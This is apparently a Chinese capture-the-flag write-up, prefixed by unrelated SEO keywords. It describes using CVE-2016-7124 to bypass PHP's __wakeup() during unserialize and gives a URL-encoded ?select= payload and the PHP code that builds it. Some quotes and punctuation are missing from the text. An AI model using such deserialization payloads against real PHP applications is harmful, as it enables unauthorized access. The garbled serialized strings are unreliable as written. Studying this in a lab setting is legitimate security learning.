平邑的网站都是谁做的,小程序跳转网页方法,提升seo搜索排名,图片制作器下载1.通过目录扫描找到它的备份文件#xff0c;这里的备份文件是它的源码。 2.源码当中涉及到的关键点就是魔术函数以及序列化与反序列化。
我们提交的select参数会被进行反序列化#xff0c;我们要构造符合输出flag条件的序列化数据。
但是#xff0c;这里要注意的就是我们提…1.通过目录扫描找到它的备份文件这里的备份文件是它的源码。 2.源码当中涉及到的关键点就是魔术函数以及序列化与反序列化。
我们提交的select参数会被进行反序列化我们要构造符合输出flag条件的序列化数据。
但是这里要注意的就是我们提前序列化好的数据在进行反序列化之前会执行wakeup函数而这里一旦执行wakeup函数就会把我们的参数给改了那就会不满足输出flag的条件。所以这里需要绕过这个wakeup函数需要利用的就是绕过wakeup函数的漏洞。
利用CVE-2016-7124漏洞绕过__wakeup()函数
CVE-2016-7124当序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup()的执行。
这是正常的O:4:Name:2:{s:14:Nameusername;s:5:admin;s:14:Namepassword;s:3:100;}
改成可以绕过的O:4:Name:3:{s:14:Nameusername;s:5:admin;s:14:Namepassword;s:3:100;}
把表示属性个数的值修改为大于实际的即可。
但是直接把这个构造的数据提交还是不行因为
private 声明的字段为私有字段只在所声明的类中可见在该类的子类和该类的对象实例中均不可见。因此私有字段的字段名在序列化时类名和字段名前面都会加上一个url编码为%00的字符前缀但是这个前缀是不可见的并且在复制的时候会丢失。字符串长度也包括所加前缀的长度所以复制下来之后再去添加即可。
?selectO:4:%22Name%22:3:{s:14:%22%00Name%00username%22;s:5:%22admin%22;s:14:%22%00Name%00password%22;s:3:%22100%22;} 3.序列化的代码
总结反序列化对象的时候会触发wakeup函数之后对象销毁还会触发destruct函数但是不会触发construct函数。 ?php class Name{ private $username admin; private $password 100;#这里也可以换成数字100 } $name new Name; print(serialize($name)); ?